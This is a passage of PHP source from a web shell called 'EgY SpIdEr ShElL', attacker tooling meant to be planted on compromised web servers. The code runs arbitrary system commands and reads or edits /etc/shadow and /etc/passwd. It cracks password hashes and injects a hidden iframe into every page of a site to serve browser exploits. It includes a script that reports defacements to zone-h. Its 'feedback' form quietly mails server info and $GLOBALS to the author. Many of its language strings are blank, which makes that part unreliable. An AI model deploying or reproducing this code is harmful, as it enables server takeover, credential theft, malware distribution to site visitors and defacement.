{ $c = sizeof($memf); for($i=0;$i<$c;$i++) { $info = explode(":",$memf[$i]); if($info[1]==""){ $info[1]="---"; } $r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.trim($info[0]).'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.trim($info[1]).'</b></div></font></td></tr>'; } echo $r; } else { echo '<tr><td>'.ws(3).'<div align=center><font face=Verdana size=-2><b> --- </b></font></div></td></tr>'; } echo '</table>'; echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href='".$_SERVER['PHP_SELF']."'>BACK</a> ]</b></font></div>"; die(); } if(isset($_GET['tool'])) { echo @phpinfo(); echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href='".$_SERVER['PHP_SELF']."'>BACK</a> ]</b></font></div>"; die(); } if(isset($_GET['tools'])) { ?>
<html> 
<head><title>EgY SpIdEr ShElL</title></head>
<STYLE>

BODY
 {
        SCROLLBAR-FACE-COLOR: #000000; SCROLLBAR-HIGHLIGHT-COLOR: #000000; SCROLLBAR-SHADOW-COLOR: #000000; COLOR: #666666; SCROLLBAR-3DLIGHT-COLOR: #726456; SCROLLBAR-ARROW-COLOR: #726456; SCROLLBAR-TRACK-COLOR: #292929; FONT-FAMILY: Verdana; SCROLLBAR-DARKSHADOW-COLOR: #726456
}

table {
BORDER:  #eeeeee  outset;
BACKGROUND-COLOR: #000000;
color: #dadada;
}
input {
BORDER-RIGHT:  #00FF00 1 solid;
BORDER-TOP:    #00FF00 1 solid;
BORDER-LEFT:  #00FF00 1 solid;
BORDER-BOTTOM: #00FF00 1 solid;
BACKGROUND-COLOR: #333333;
font: 9pt tahoma;
color: #ffffff;
}

submit {
BORDER:  buttonhighlight 1 outset;
BACKGROUND-COLOR: #272727;
width: 40%;
color: #dadada;
}
textarea {
BORDER-RIGHT:  #ffffff 1 solid;
BORDER-TOP:    #999999 1 solid;
BORDER-LEFT:   #999999 1 solid;
BORDER-BOTTOM: #ffffff 1 solid;
BACKGROUND-COLOR: #333333;
font: Fixedsys bold;
color: #ffffff;
}
BODY {
margin: 1;
color: #dadada;
background-color: #000000;
}
A:link {COLOR:red; TEXT-DECORATION: none}
A:visited { COLOR:red; TEXT-DECORATION: none}
A:active {COLOR:red; TEXT-DECORATION: none}
A:hover {color:blue;TEXT-DECORATION: none}

</STYLE>
</body> 
</html> 
<? $nscdir =(!isset($_REQUEST['scdir']))?getcwd():chdir($_REQUEST['scdir']);$nscdir=getcwd(); $sf="<form method=post>";$ef="</form>"; $st="<table style=\"border:1px #dadada solid \" width=100% height=100%>"; $et="</table>";$c1="<tr><td height=22% style=\"border:1px #dadada solid \">"; $c2="<tr><td style=\"border:1px #dadada solid \">";$ec="</tr></td>"; $sta="<textarea cols=157 rows=23>";$eta="</textarea>"; $sfnt="<font face=tahoma size=2 color=#008080>";$efnt="</font>"; error_reporting(0); set_magic_quotes_runtime(0); if(version_compare(phpversion(), '4.1.0') == -1) {$_POST = &$HTTP_POST_VARS;$_GET = &$HTTP_GET_VARS; $_SERVER = &$HTTP_SERVER_VARS; }function inclink($link,$val){$requ=$_SERVER["REQUEST_URI"]; if (strstr ($requ,$link)){return preg_replace("/$link=[\\d\\w\\W\\D\\S]*/","$link=$val",$requ);}elseif (strstr ($requ,"showsc")){return preg_replace("/showsc=[\\d\\w\\W\\D\\S]*/","$link=$val",$requ);} elseif (strstr ($requ,"hlp")){return preg_replace("/hlp=[\\d\\w\\W\\D\\S]*/","$link=$val",$requ);}elseif (strstr($requ,"?")){return $requ."&".$link."=".$val;} else{return $requ."?".$link."=".$val;}} function delm($delmtxt){print"<center><table bgcolor=black style='border:1px solid olive' width=99% height=2%>";print"<tr><td><b><center><font size=2 color=olive>$delmtxt</td></tr></table></center>";} function callfuncs($cmnd){if (function_exists(shell_exec)){$scmd=shell_exec($cmnd); $nscmd=htmlspecialchars($scmd);print $nscmd;} elseif(!function_exists(shell_exec)){exec($cmnd,$ecmd); $ecmd = join("\n",$ecmd);$necmd=htmlspecialchars($ecmd);print $necmd;} elseif(!function_exists(exec)){$pcmd = popen($cmnd,"r"); while (!feof($pcmd)){ $res = htmlspecialchars(fgetc($pcmd));; print $res;}pclose($pcmd);}elseif(!function_exists(popen)){ ob_start();system($cmnd);$sret = ob_get_contents();ob_clean();print htmlspecialchars($sret);}elseif(!function_exists(system)){ ob_start();passthru($cmnd);$pret = ob_get_contents();ob_clean(); print htmlspecialchars($pret);}} function input($type,$name,$value,$size) {if (empty($value)){print "<input type=$type name=$name size=$size>";} elseif(empty($name)&&empty($size)){print "<input type=$type value=$value >";} elseif(empty($size)){print "<input type=$type name=$name value=$value >";} else {print "<input type=$type name=$name value=$value size=$size >";}} function permcol($path){if (is_writable($path)){print "<font color=olive>"; callperms($path); print "</font>";} elseif (!is_readable($path)&&!is_writable($path)){print "<font color=red>"; callperms($path); print "</font>";} else {print "<font color=white>";callperms($path);}} if ($dlink=="dwld"){download($_REQUEST['dwld']);} function download($dwfile) {$size = filesize($dwfile); @header("Content-Type: application/force-download;name=$dwfile"); @header("Content-Transfer-Encoding: binary"); @header("Content-Length: $size"); @header("Content-Disposition: attachment; filename=$dwfile"); @header("Expires: 0"); @header("Cache-Control: no-cache, must-revalidate"); @header("Pragma: no-cache"); @readfile($dwfile); exit;} ?>
<? $nscdir =(!isset($_REQUEST['scdir']))?getcwd():chdir($_REQUEST['scdir']);$nscdir=getcwd(); $sf="<form method=post>";$ef="</form>"; $st="<table style=\"border:1px #dadada solid \" width=100% height=100%>"; $et="</table>";$c1="<tr><td height=22% style=\"border:1px #dadada solid \">"; $c2="<tr><td style=\"border:1px #dadada solid \">";$ec="</tr></td>"; $sta="<textarea cols=157 rows=23>";$eta="</textarea>"; $sfnt="<font face=tahoma size=2 color=olive>";$efnt="</font>"; print"<table bgcolor=#191919 style=\"border:2px #dadada solid \" width=100% height=%>";print"<tr><td>"; print"<b><center><font face=tahoma color=white size=4>
</font></b></center>"; print"</td></tr>";print"</table>";print "<br>"; print"<table bgcolor=#191919 style=\"border:2px #dadada solid \" width=100% height=%>";print"<tr><td>"; print"<center><div><b>";print ""; if ($act == 'encoder') { echo "<script>function set_encoder_input(text) {document.forms.encoder.input.value = text;}</script><center><b>Encoder:</b></center><form name=\"encoder\" action=\"".$surl."\" method=POST><input type=hidden name=act value=encoder><b>Input:</b><center><textarea name=\"encoder_input\" id=\"input\" cols=50 rows=5>".@htmlspecialchars($encoder_input)."</textarea><br><br><input type=submit value=\"calculate\"><br><br></center><b>Hashes</b>:<br><center>"; foreach(array("md5","crypt","sha1","crc32") as $v) { echo $v." - <input type=text size=50 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$v($encoder_input)."\" readonly><br>"; } echo "</center><b>Url:</b><center><br>urlencode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".urlencode($encoder_input)."\" readonly> 
 <br>urldecode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".htmlspecialchars(urldecode($encoder_input))."\" readonly> 
 <br></center><b>Base64:</b><center>base64_encode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".base64_encode($encoder_input)."\" readonly></center>"; echo "<center>base64_decode - "; if (base64_encode(base64_decode($encoder_input)) != $encoder_input) {echo "<input type=text size=35 value=\"failed\" disabled readonly>";} else { $debase64 = base64_decode($encoder_input); $debase64 = str_replace("\0","[0]",$debase64); $a = explode("\r\n",$debase64); $rows = count($a); $debase64 = htmlspecialchars($debase64); if ($rows == 1) {echo "<input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$debase64."\" id=\"debase64\" readonly>";} else {$rows++; echo "<textarea cols=\"40\" rows=\"".$rows."\" onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" id=\"debase64\" readonly>".$debase64."</textarea>";} echo "&nbsp;<a href=\"#\" onclick=\"set_encoder_input(document.forms.encoder.debase64.value)\"><b>^</b></a>"; } echo "</center><br><b>Base convertations</b>:<center>dec2hex - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\""; $c = strlen($encoder_input); for($i=0;$i<$c;$i++) { $hex = dechex(ord($encoder_input[$i])); if ($encoder_input[$i] == "&") {echo $encoder_input[$i];} elseif ($encoder_input[$i] != "\\") {echo "%".$hex;} } echo "\" readonly><br></form>"; ?>
</center>
<br><br>
<table border=0 align=center cellpadding=4>
<tr><td>
<center><b>Search milw0rm for MD5 hash</b></center>
</td><td>
<center><b>Search md5encryption.com for MD5 or SHA1 hash</b></center>
</td><td>
<center><b>Search CsTeam for MD5 hash</b></center>
</td></tr>
<tr><td>
<center>
<form target="_blank" action="http://www.milw0rm.com/cracker/search.php" method=POST>
<input type=text size=40 name=hash> <input type=submit value="Submit"></form>
</center>
</td><td>
<center>
<form target="_blank" action="http://www.md5encryption.com/?mod=decrypt" method=POST>
<input type=text size=40 name=hash2word> <input type=submit value="Submit"></form>
</center>
</td><td>
<center>
<form target="_blank" action="http://www.csthis.com/md5/index.php" method=POST>
<input type=text size=40 name=h> <input type=submit value="Submit"></form>
</center>
</td></tr>
</table>
<br>
<center>
<?php
 if (isset($_GET['hash']) && isset($_GET['wordlist']) && ($_GET['type'] == 'md5' || $_GET['type'] == 'sha1')) { $type = $_GET['type']; $hash = $_GET['hash']; $count = 1; $wordlist = file($_GET['wordlist']); $words = count($wordlist); foreach ($wordlist as $word) { echo $count.' of '.$words.': '.$word.'<br>'; if ($hash == $type(rtrim($word))) { echo '<font color=red>Great success!  The password is: '.$word.'</font><br>'; exit; } ++$count; } } } if ($act == 'fsbuff') { $arr_copy = $sess_data["copy"]; $arr_cut = $sess_data["cut"]; $arr = array_merge($arr_copy,$arr_cut); if (count($arr) == 0) {echo "<center><b>Buffer is empty!</b></center>";} else {echo "<b>File-System buffer</b><br><br>"; $ls_arr = $arr; $disp_fullpath = TRUE; $act = "ls";} } if ($act == "selfremove") { if (($submit == $rndcode) and ($submit != "")) { if (unlink(__FILE__)) {@ob_clean(); echo "Thanks for using c99shell v.".$shver."!"; c99shexit(); } else {echo "<center><b>Can't delete ".__FILE__."!</b></center>";} } else { if (!empty($rndcode)) {echo "<b>Error: incorrect confimation!</b>";} $rnd = rand(0,9).rand(0,9).rand(0,9); echo "<form action=\"".$surl."\"><input type=hidden name=act value=selfremove><b>Self-remove: ".__FILE__." <br><b>Are you sure?<br>For confirmation, enter \"".$rnd."\"</b>:&nbsp;<input type=hidden name=rndcode value=\"".$rnd."\"><input type=text name=submit>&nbsp;<input type=submit value=\"YES\"></form>"; } } if ($act == "update") {$ret = c99sh_getupdate(!!$confirmupdate); echo "<b>".$ret."</b>"; if (stristr($ret,"new version")) {echo "<br><br><input type=button onclick=\"location.href='".$surl."act=update&confirmupdate=1';\" value=\"Update now\">";}} if ($act == "feedback") { $suppmail = base64_decode("ZWd5X3NwaWRlckBob3RtYWlsLmNvbQ=="); if (!empty($submit)) { $ticket = substr(md5(microtime()+rand(1,1000)),0,6); $body = "egy_spider v.".$shver." feedback #".$ticket."\nName: ".htmlspecialchars($fdbk_name)."\nE-mail: ".htmlspecialchars($fdbk_email)."\nMessage:\n".htmlspecialchars($fdbk_body)."\nE-server: ".htmlspecialchars($_SERVER['REQUEST_URI'])."\nE-server2: ".htmlspecialchars($_SERVER["SERVER_NAME"])."\n\nIP: ".$REMOTE_ADDR; if (!empty($fdbk_ref)) { $tmp = @ob_get_contents(); ob_clean(); phpinfo(); $phpinfo = base64_encode(ob_get_contents()); ob_clean(); echo $tmp; $body .= "\ni"."phpinfo(): ".$phpinfo."\n"."\$GLOBALS=".base64_encode(serialize($GLOBALS))."\n"; } mail($suppmail,"egy_spider v.".$shver." feedback #".$ticket,$body,"FROM: ".$suppmail); echo "<center><b>Thanks for your feedback! Your ticket ID: ".$ticket.".</b></center>"; } else {echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=feedback><b>Feedback or report bug (".str_replace(array("@","."),array("[at]","[dot]"),$suppmail)."):<br><br>Your name: <input type=\"text\" name=\"fdbk_name\" value=\"".htmlspecialchars($fdbk_name)."\"><br><br>Your e-mail: <input type=\"text\" name=\"fdbk_email\" value=\"".htmlspecialchars($fdbk_email)."\"><br><br>Message:<br><textarea name=\"fdbk_body\" cols=80 rows=10>".htmlspecialchars($fdbk_body)."</textarea><input type=\"hidden\" name=\"fdbk_ref\" value=\"".urlencode($HTTP_REFERER)."\"><br><br>Attach server-info * <input type=\"checkbox\" name=\"fdbk_servinf\" value=\"1\" checked><br><br>There are no checking in the form.<br><br>If you want to send a request for any help I know I will respond to you in case <br><br>* - strongly recommended, if you report bug, because we need it for bug-fix.<br><br>We understand languages: Arbic, English.<br><br><input type=\"submit\" name=\"submit\" value=\"Send\"></form>";} } if ($act == 'massbrowsersploit') { ?>
<b>Mass Code Injection:</b><br><br>
Use this to add HTML to the end of every .php, .htm, and .html page in the directory specified.<br><br>
<form action="<?php echo $surl; ?>" method=GET>
<input type=hidden name="masssploit" value="goahead">
<input type=hidden name="act" value="massbrowsersploit">
<table border=0>
<tr><td>Dir to inject: </td><td><input type=text size=50 name="pathtomass" value="<?php echo realpath('.'); ?>"> <-- default is dir this shell is in</td></tr>
<tr><td>Code to inject: </td><td><textarea name="injectthis" cols=50 rows=4><?php echo htmlspecialchars('<IFRAME src="http://www.egyspider.eu" width=0 height=0 frameborder=0></IFRAME>'); ?></textarea> <-- best bet would be to include an invisible iframe of browser exploits</td></tr>
<tr><td><input type=submit value="Inject Code"></td></tr>
</table>
</form>
<?php
if ($_GET['masssploit'] == 'goahead') { if (is_dir($_GET['pathtomass'])) { $lolinject = $_GET['injectthis']; foreach (glob($_GET['pathtomass']."/*.php") as $injectj00) { $fp=fopen($injectj00,"a+"); if (fputs($fp,$lolinject)){ echo $injectj00.' was injected<br>'; } else { echo '<font color=red>failed to inject '.$injectj00.'</font>'; } } foreach (glob($_GET['pathtomass']."/*.htm") as $injectj00) { $fp=fopen($injectj00,"a+"); if (fputs($fp,$lolinject)){ echo $injectj00.' was injected<br>'; } else { echo '<font color=red>failed to inject '.$injectj00.'</font>'; } } foreach (glob($_GET['pathtomass']."/*.html") as $injectj00) { $fp=fopen($injectj00,"a+"); if (fputs($fp,$lolinject)){ echo $injectj00.' was injected<br>'; } else { echo '<font color=red>failed to inject '.$injectj00.'</font>'; } } } else { echo '<b><font color=red>'.$_GET['pathtomass'].' is not available!</font></b>'; } } } if ($dlink=='showsrc'){ print "<p><b>: Choose a php file to view in a color mode, any extension else will appears as usual :";print "<form method=get>"; input ("text","tools&dlink=showsrc","",35);print " "; input ("hidden","scdir",$scdir,22);input ("submit","tools&dlink=showsrc","Show-src","");print $ef; die();}if(isset($_REQUEST['tools&dlink=showsrc'])){callshsrc(trim($_REQUEST['showsc']));} if (isset($_REQUEST['indx'])&&!empty($_REQUEST['indxtxt'])) {if (touch ($_REQUEST['indx'])==true){ $fp=fopen($_REQUEST['indx'],"w+");fwrite ($fp,stripslashes($_REQUEST['indxtxt'])); fclose($fp);print "<p>[ $sfnt".$_REQUEST['indx']."$efnt created successfully !! ]</p>";print "<b><center>[ <a href='javascript:history.back()'>Edit again</a>
] -- [<a href=".inclink('dlink', 'scurrdir')."&scdir=$nscdir> Curr-Dir </a>]</center></b>";die(); }else {print "<p>[ Sorry, Can't create the index !! ]</p>";die();}} if ($dlink=='qindx'&&!isset($_REQUEST['qindsub'])){ print $sf."<br>";print "<p><textarea cols=50 rows=10 name=indxtxt>
Your index contents here</textarea></p>"; input ("text","indx","Index-name",35);print " "; input ("submit","qindsub","Create","");print $ef;die();} if (isset ($_REQUEST['mailsub'])&&!empty($_REQUEST['mailto'])){ $mailto=$_REQUEST['mailto'];$subj=$_REQUEST['subj'];$mailtxt=$_REQUEST['mailtxt']; if (mail($mailto,$subj,$mailtxt)){print "<p>[ Mail sended to $sfnt".$mailto." $efnt successfully ]</p>"; die();}else {print "<p>[ Error, Can't send the mail ]</p>";die();}} elseif(isset ($mailsub)&&empty($mailto)) {print "<p>[ Error, Can't send the mail ]</p>";die();} if ($dlink=='mail'&&!isset($_REQUEST['mailsub'])){ print $sf."<br>";print "<p><textarea cols=50 rows=10 name=mailtxt>
Your message here</textarea></p>";input ("text","mailto","[email protected]",35);print " ";input ("text","subj","Title-here",20);print " "; input ("submit","mailsub","Send-mail","");print $ef;die();} if (isset($_REQUEST['zonet'])&&!empty($_REQUEST['zonet'])){callzone($nscdir);} function callzone($nscdir){ if (is_writable($nscdir)){$fpz=fopen ("z.pl","w");$zpl='z.pl';$li="bklist.txt";} else {$fpz=fopen ("/tmp/z.pl","w");$zpl='/tmp/z.pl';$li="/tmp/bklist.txt";} fwrite ($fpz,"\$arq = @ARGV[0];
\$grupo = @ARGV[1];
chomp \$grupo;
open(a,\"<\$arq\");
@site = <a>;
close(a);
\$b = scalar(@site);
for(\$a=0;\$a<=\$b;\$a++)
{chomp \$site[\$a];
if(\$site[\$a] =~ /http/) { substr(\$site[\$a], 0, 7) =\"\"; }
print \"[+] Sending \$site[\$a]\n\";
use IO::Socket::INET;
\$sock = IO::Socket::INET->new(PeerAddr => \"old.zone-h.org\", PeerPort => 80, Proto => \"tcp\") or next;
print \$sock \"POST /en/defacements/notify HTTP/1.0\r\n\";
print \$sock \"Accept: */*\r\n\";
print \$sock \"Referer: http://old.zone-h.org/en/defacements/notify\r\n\";
print \$sock \"Accept-Language: pt-br\r\n\";
print \$sock \"Content-Type: application/x-www-form-urlencoded\r\n\";
print \$sock \"Connection: Keep-Alive\r\n\";
print \$sock \"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n\";
print \$sock \"Host: old.zone-h.org\r\n\";
print \$sock \"Content-Length: 385\r\n\";
print \$sock \"Pragma: no-cache\r\n\";
print \$sock \"\r\n\";
print \$sock \"notify_defacer=\$grupo&notify_domain=http%3A%2F%2F\$site[\$a]&notify_hackmode=22&notify_reason=5&notify=+OK+\r\n\";
close(\$sock);}"); if (touch ($li)==true){$fpl=fopen($li,"w+");fwrite ($fpl,$_REQUEST['zonetxt']); }else{print "<p>[ Can't complete the operation, try change the current dir with writable one ]<br>";}$zonet=$_REQUEST['zonet']; if (!function_exists(exec)&&!function_exists(shell_exec)&&!function_exists(popen)&&!function_exists(system)&&!function_exists(passthru)) {print "[ Can't complete the operation !! ]";} else {callfuncs("chmod 777 $zpl;chmod 777 $li"); ob_start();callfuncs("perl $zpl $li $zonet");ob_clean(); print "<p>[ All sites should be sended to zone-h.org successfully !! ]";die();} }if ($dlink=='zone'&&!isset($_REQUEST['zonesub'])){ print $sf."<br>";print "<p><pre><textarea cols=50 rows=10 name=zonetxt>
www.site1.com
www.site2.com
</textarea></pre></p>";input ("text","zonet","Hacker-name",35);print " "; input ("submit","zonesub","Send","");print $ef;die();} print "</div></b></center>"; print"</td></tr>";print"</table>";print "<br>"; function inisaf($iniv) { $chkini=ini_get($iniv); if(($chkini || strtolower($chkini)) !=='on'){print"<font color=olive><b>OFF ( Not secured )</b></font>";} else{ print"<font color=red><b>ON ( Secured )</b></font>";}}function inifunc($inif){$chkin=ini_get($inif); if ($chkin==""){print " <font color=red><b>None</b></font>";} else {$nchkin=wordwrap($chkin,40,"\n", 1);print "<b><font color=olive>".$nchkin."</font></b>";}}function callocmd($ocmd,$owhich){if(function_exists(exec)){$nval=exec($ocmd);}elseif(!function_exists(exec)){$nval=shell_exec($ocmd);} elseif(!function_exists(shell_exec)){$opop=popen($ocmd,'r'); while (!feof($opop)){ $nval= fgetc($opop);}} elseif(!function_exists(popen)){ ob_start();system($ocmd);$nval=ob_get_contents();ob_clean();}elseif(!function_exists(system)){ ob_start();passthru($ocmd);$nval=ob_get_contents();ob_clean();} if($nval=$owhich){print"<font color=red><b>ON</b></font>";} else{print"<font color=olive><b>OFF</b></font>";} } print"<table bgcolor=#191919 style=\"border:2px #dadada solid ;font-size:13px;font-family:tahoma \" width=100% height=%>"; echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href='".$_SERVER['PHP_SELF']."'>BACK</a> ]</b></font></div>"; die(); } if(isset($_GET['egy'])) { echo $head; echo '<table width=100%><tr><td bgcolor=#000000><div align=center><font face=tahoma size=-2 color=red><b>EgY SpIdEr</b></font></div></td></tr></table><table width=100%>'; $memf = @file("meminfo"); if($memf) { $c = sizeof($memf); for($i=0;$i<$c;$i++) { $info = explode(":",$memf[$i]); if($info[1]==""){ $info[1]="---"; } $r .= '<tr><td>'.ws(3).'<font face=tahoma size=-2><b>'.trim($info[0]).'</b></font></td><td><font face=tahoma size=-2><div align=center><b>'.trim($info[1]).'</b></div></font></td></tr>'; } echo $r; } else { echo '<tr><td>'.ws(3).'<div align=center><font face=tahoma size=-2><b><div align="center">
  <font face="tahoma" size="-2"><b>
  <p align="center">&nbsp;</p>
  <p align="center">
  <font style="FONT-WEIGHT: 500; FONT-SIZE: 100pt" face="Webdings" color="#800000">
<IFRAME WIDTH=100% HEIGHT=671 SRC="http://egyspider.eu/ahmed/about.htm"></IFRAME></font></p>
  <p align="center">&nbsp;</p>
  <div id="n" align="center">
    &nbsp;</div>
  <p>&nbsp;</font></b></div>
</b></font></div></td></tr>'; } echo '</table>'; echo "<br><div align=center><font face=tahoma size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die(); } if(isset($_GET['news'])) { echo $head; echo '<table width=100%><tr><td bgcolor=#000000><div align=center><font face=tahoma size=-2 color=red><b>EgY SpIdEr</b></font></div></td></tr></table><table width=100%>'; $memf = @file("meminfo"); if($memf) { $c = sizeof($memf); for($i=0;$i<$c;$i++) { $info = explode(":",$memf[$i]); if($info[1]==""){ $info[1]="---"; } $r .= '<tr><td>'.ws(3).'<font face=tahoma size=-2><b>'.trim($info[0]).'</b></font></td><td><font face=tahoma size=-2><div align=center><b>'.trim($info[1]).'</b></div></font></td></tr>'; } echo $r; } else { echo '<tr><td>'.ws(3).'<div align=center><font face=tahoma size=-2><b><div align="center">
  <font face="tahoma" size="-2"><b>
  <p align="center">&nbsp;</p>
  <p align="center">
  <font style="FONT-WEIGHT: 500; FONT-SIZE: 100pt" face="Webdings" color="#800000">
<IFRAME WIDTH=100% HEIGHT=671 SRC="http://egyspider.eu/ahmed/news.htm"></IFRAME></font></p>
  <p align="center">&nbsp;</p>
  <div id="n" align="center">
    &nbsp;</div>
  <p>&nbsp;</font></b></div>
</b></font></div></td></tr>'; } echo '</table>'; echo "<br><div align=center><font face=tahoma size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die(); } if(isset($_GET['5'])) {$_POST['cmd'] = 'systeminfo';} if(isset($_GET['6'])) {$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/syslog.conf';} if(isset($_GET['7'])) {$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/resolv.conf';} if(isset($_GET['8'])) {$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/hosts';} if(isset($_GET['9'])) {$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/shadow';} if(isset($_GET['10'])) {$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/passwd';} if(isset($_GET['13'])) {$_POST['cmd']='cat /proc/cpuinfo';} if(isset($_GET['14'])) {$_POST['cmd']='cat /proc/version';} if(isset($_GET['15'])) {$_POST['cmd'] = 'free';} if(isset($_GET['16'])) {$_POST['cmd'] = 'dmesg(8)';} if(isset($_GET['17'])) {$_POST['cmd'] = 'vmstat';} if(isset($_GET['18'])) {$_POST['cmd'] = 'lspci';} if(isset($_GET['19'])) {$_POST['cmd'] = 'lsdev';} if(isset($_GET['20'])) {$_POST['cmd']='cat /proc/interrupts';} if(isset($_GET['21'])) {$_POST['cmd'] = 'cat /etc/*realise';} if(isset($_GET['22'])) {$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/issue.net';} if(isset($_GET['23'])) {$_POST['cmd'] = 'lsattr -va';} if(isset($_GET['24'])) {$_POST['cmd'] = 'w';} if(isset($_GET['25'])) {$_POST['cmd'] = 'who';} if(isset($_GET['26'])) {$_POST['cmd'] = 'uptime';} if(isset($_GET['27'])) {$_POST['cmd'] = 'last -n 10';} if(isset($_GET['28'])) {$_POST['cmd'] = 'ps -aux';} if(isset($_GET['29'])) {$_POST['cmd'] = 'service --status-all';} if(isset($_GET['30'])) {$_POST['cmd'] = 'ifconfig';} if(isset($_GET['31'])) {$_POST['cmd'] = 'netstat -a';} if(isset($_GET['32'])) {$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/fstab';} if(isset($_GET['33'])) {$_POST['cmd'] = 'fdisk -l';} if(isset($_GET['34'])) {$_POST['cmd'] = 'df -h';} $lang=array( 'ar_text1' =>' ', 'ar_text2' =>'   ', 'ar_text3' =>' ', 'ar_text4' =>'    ', 'ar_text5' =>'   ', 'ar_text6' =>' ', 'ar_text7' =>' ', 'ar_text8' =>' ', 'ar_butt1' =>'', 'ar_butt2' =>'', 'ar_text9' =>'     /bin/bash', 'ar_text10'=>'', 'ar_text11'=>' ', 'ar_butt3' =>'', 'ar_text12'=>' ', 'ar_text13'=>' ', 'ar_text14'=>'', 'ar_butt4' =>'', 'ar_text15'=>'   ', 'ar_text16'=>' ', 'ar_text17'=>' ', 'ar_text18'=>' ', 'ar_text19'=>'Exploits', 'ar_text20'=>'', 'ar_text21'=>' ', 'ar_text22'=>' ', 'ar_text23'=>' ', 'ar_text24'=>' ', 'ar_text25'=>' ', 'ar_text26'=>'', 'ar_butt5' =>'', 'ar_text28'=>'   ', 'ar_text29'=>' ', 'ar_butt6' =>'', 'ar_text30'=>' ', 'ar_butt7' =>'', 'ar_text31'=>'  ', 'ar_text32'=>'  php    eval', 'ar_text33'=>'Test bypass open_basedir with cURL functions', 'ar_butt8' =>'', 'ar_text34'=>'     include', 'ar_text35'=>'     Mysql', 'ar_text36'=>' . ', 'ar_text37'=>' ', 'ar_text38'=>' ', 'ar_text39'=>'', 'ar_text40'=>'   ', 'ar_butt9' =>'', 'ar_text41'=>'  ', 'ar_text42'=>' ', 'ar_text43'=>'  ', 'ar_butt10'=>'', 'ar_text44'=>'      ', 'ar_text45'=>' ', 'ar_text46'=>' phpinfo()', 'ar_text47'=>'   php.ini', 'ar_text48'=>'   temp', 'ar_butt11'=>' ', 'ar_text49'=>'   ', 'ar_text50'=>'   ', 'ar_text51'=>'  ', 'ar_text52'=>' ', 'ar_text53'=>' ', 'ar_text54'=>'    ', 'ar_butt12'=>'', 'ar_text55'=>'  ', 'ar_text56'=>' :(', 'ar_text57'=>'/ /', 'ar_text58'=>'', 'ar_text59'=>'', 'ar_text60'=>'', 'ar_butt13'=>' /', 'ar_text61'=>'  ', 'ar_text62'=>'  ', 'ar_text63'=>'  ', 'ar_text64'=>'  ', 'ar_butt65'=>'', 'ar_text66'=>'', 'ar_text67'=>'//', 'ar_text68'=>'', 'ar_text69'=>' ', 'ar_text70'=>'', 'ar_text71'=>"Second commands param is:\r\n- for CHOWN - name of new owner or UID\r\n- for CHGRP - group name or GID\r\n- for CHMOD - 0777, 0755...", 'ar_text72'=>' ', 'ar_text73'=>'  ', 'ar_text74'=>'  ', 'ar_text75'=>'* you can use regexp', 'ar_text76'=>'      find', 'ar_text80'=>'', 'ar_text81'=>'', 'ar_text82'=>' ', 'ar_text83'=>'  ', 'ar_text84'=>' ', 'ar_text85'=>'Test bypass safe_mode with commands execute via MSSQL server', 'ar_text86'=>'   ', 'ar_butt14'=>'', 'ar_text87'=>'      ', 'ar_text88'=>'   :', 'ar_text89'=>'    ', 'ar_text90'=>' ', 'ar_text91'=>'', 'ar_text92'=>'  ', 'ar_text93'=>'  ', 'ar_text94'=>'   ', 'ar_text95'=>' ', 'ar_text96'=>'    ', 'ar_text97'=>' : ', 'ar_text98'=>' : ', 'ar_text99'=>'*      /etc/passwd   ftp', 'ar_text100'=>'      ', 'ar_text101'=>'   ', 'ar_text102'=>' ', 'ar_text103'=>' ', 'ar_text104'=>'   ', 'ar_text105'=>'', 'ar_text106'=>'', 'ar_text107'=>'', 'ar_butt15'=>'', 'ar_text108'=>'', 'ar_text109'=>'', 'ar_text110'=>'', 'ar_text111'=>'   : ', 'ar_text112'=>'      mb_send_mail', 'ar_text113'=>'     via imap_list', 'ar_text114'=>'     via imap_body', 'ar_text115'=>'    compress.zlib://', 'ar_text116'=>' ', 'ar_text117'=>'', 'ar_text118'=>'  ', 'ar_text119'=>' ', 'ar_err0'=>' !      ', 'ar_err1'=>' !       ', 'ar_err2'=>'!   ', 'ar_err3'=>'!       ', 'ar_err4'=>' !       ', 'ar_err5'=>' !       ', 'ar_err6'=>' !   ', 'ar_err7'=>' ', 'ar_text200'=>'copy()    ', 'ar_text202'=>'   ', 'ar_text300'=>'curl()    ', 'ar_text203'=>'ini_restore()    ', 'ar_text204'=>'error_log()    ', 'ar_text205'=>'    ', 'ar_text206'=>'  ', 'ar_text207'=>'      reg_glob', 'ar_text208'=>'       ', 'ar_text209'=>'      root', 'ar_text210'=>'   ', 'ar_text211'=>'::  ::', 'ar_text212'=>'php.ini       ', 'ar_text213'=>'htacces       ', 'ar_text214'=>' ', 'ar_text215'=>'  IRC ', 'ar_text216'=>'#   ', 'ar_text217'=>'  ', 'ar_text218'=>'   ini_restore     ', 'ar_text219'=>'       ', 'ar_text220'=>'     symlink  ', 'ar_text221'=>'    (       )1', 'ar_text222'=>'     symlink  ', 'ar_text223'=>'    ', 'ar_text224'=>'PLUGIN      ', 'ar_text143'=>': ', 